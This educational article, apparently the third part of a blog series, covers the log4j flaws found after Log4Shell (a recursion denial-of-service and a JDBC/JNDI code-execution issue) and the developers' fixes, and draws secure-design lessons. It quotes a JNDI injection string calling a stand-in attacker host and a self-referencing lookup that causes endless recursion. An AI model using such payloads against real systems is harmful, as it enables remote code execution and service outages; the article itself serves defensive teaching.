What we can learn from the problems that put log4j into the spotlight of software security in the past months.

Dealing with the Log4Shell vulnerability, in Part 1 and Part 2 of the article, we have seen the vulnerability and the essential exploit technique. But when it rains, it pours.

After its developers applied the first fix to log4j, the community kept discovering some further problems; some as a direct consequence of the initial problem, and yet some as a result of further explorations once log4j got put in the spotlight.

Let’s visit some of these, and then draw some conclusions of the whole Log4Shell story, which most probably is not even finished yet – future will tell.

Recursion: see recursion

Despite the first two fixes, the parser itself still remained vulnerable to a denial-of-service attack, CVE-2021-45105 (only CVSS 5.9 this time). Remember that StrSubstitutor was recursive, and – as it turned out to be the case – had no limits on its recursion depth. Thus, if the configuration file contained $${ctx:loginId} and the attacker could manipulate the value associated with loginId in ThreadContext, they could just set it to $${ctx:loginId}, causing an endless loop as the substitutor replaced the string with itself over and over.

As a response, log4j developers split StrSubstitutor into two different classes in 2.17: ConfigurationStrSubstitutor and RuntimeStrSubstitutor where the former would be only done at configuration parse time, and the latter would only evaluate substitutions once. This prevented the recursive evaluation of any user input. In addition, after realizing the problem to its full extent, they removed LDAP support entirely from JNDI resolution, thus cutting off future exploitation possibilities.

At this point, it looked like the worst of it was over. But unfortunately, it was not.

Appenders and other stories

There was still an issue in the interaction between JDBC and JNDI, CVE-2021-44832 (CVSS 6.6).

In log4j, one can write logs to several different output types through various Appenders. Specifically, the JDBC (Java Database Connection API) appender requires JNDI to resolve DataSource objects. Thus, if the attacker can potentially get some malicious input into a JDBC appender (such as the good old jndi:ldap://myevilserver.com/x), they could trigger code execution once again, through the DataSource object’s resolution process. Thankfully, while this vulnerability is just as damaging as the original Log4Shell, it requires the attacker to manipulate log configuration to exploit it, which is much harder than just getting something to be logged. However, the attack was still feasible in some cases, as some applications derive the DataSource values in the configuration files from user input.

As a further change, to fix this vulnerability, log4j developers restricted JNDI access for JDBC, limited JNDI to the java protocol to prevent exploitation, and furthermore made the separation between user-provided and configuration properties more robust to make any future JNDI injection attacks harder.

Bug or feature?

There’s a reason it took multiple code changes (and ultimately removing some functionality) to fix Log4Shell: unlike most of the big-name vulnerabilities, it wasn’t just the result of one (or a few) accidental bugs introduced during the implementation. Rather, it was a weakness built into the system from the start. There is nothing wrong with using LDAP (or JNDI, for that matter), of course, but exposing a JNDI lookup to attacker input is a very serious vulnerability, because it can easily lead to loading an arbitrary class from an external source, thus allowing remote code execution. This kind of functionality was called mobile code, which has long been recognized as a potential security risk, even though in the post-applet world it has been deemed less relevant. So much less relevant, in fact, that it has been even deprecated in CWE in early 2021.

Not only was this functionality present in log4j 2 since the beginning, but it was also underdocumented. After all, the Lookups help page started with “Lookups provide a way to add values to the Log4j configuration at arbitrary places.”, it didn’t say anything about text interpolation in the log entries. Furthermore, even though it was possible to use parameterization (i.e. log(“Username is {}”, userName)) which is a common best practice against injection vulnerabilities, it actually didn’t protect against injection in this specific case. Due to the recursive nature of the string replacement function, internally it was equivalent to just concatenating the user input directly to the string.

The first fix stopped the most obvious ways to exploit the vulnerability. The allowlisting approach was robust – even if it was not perfect due to platform-specific implementation specifics of the getHost() method. The real problem was the specificity of the fix because it didn’t consider other ways that could cause JNDI lookups to trigger, since JNDI lookups were still enabled by default everywhere other than log entries.

The second fix disabled JNDI by default both in log entries and configuration files, which was a much better approach – but it didn’t consider the recursive nature of text substitution, which is a well-known vulnerability that can easily cause DoS (in addition to indirectly making parameterization useless, as explained earlier).

And finally, even considering that log4j disabled JNDI by default in the engine generating the log messages, there were other parts of the code that still performed “stealth” JNDI lookups as part of their functionality to store the log messages via JDBC.

And what about the others?

So, what high-level conclusions can we draw from the story of Log4Shell? Simply put – dangerous functionality in a system always needs to be well documented, should be disabled by default (principle of fail-safe defaults), and should not be able to access more resources than it needs (principle of least privilege).

To illustrate this, let’s take a look at two other loggers that share much of the code of log4j 2, and thus could be theoretically vulnerable to the same issue.

• Logback is a ‘next-gen’ logging framework intended as the successor to log4j, and it had a similar vulnerability in CVE-2021-42550. But there was a huge difference: since LDAP lookup is not possible by default in Logback, exploitation would in most cases require the attacker to modify the server configuration file beforehand – implying that the attacker had access to the system already! Thus, it was never going to become a realistically exploitable vulnerability (and in fact, many security experts didn’t consider it to be a vulnerability at all). Remember, if they can modify your configuration files, you have much bigger problems anyway!
• Similarly, while it is also technically possible to achieve JNDI-driven RCE in log4j 1.2 (past its end-of-life) if the attacker can modify the configuration file (CVE-2021-4104), this is not realistically exploitable in most environments.

The bottom line is: one should not reinvent the wheel. Best practices are out there, and developers should always follow them to prevent issues like Log4Shell. Learn more about input validation, injection, insecure deserialization including the Property Oriented Programming code reuse technique, DoS attacks, and secure design best practices, just to name some issues that made Log4Shell possible. Don’t let your application become the next blockbuster story, make sure the next Log4Shell does not pop up in your code!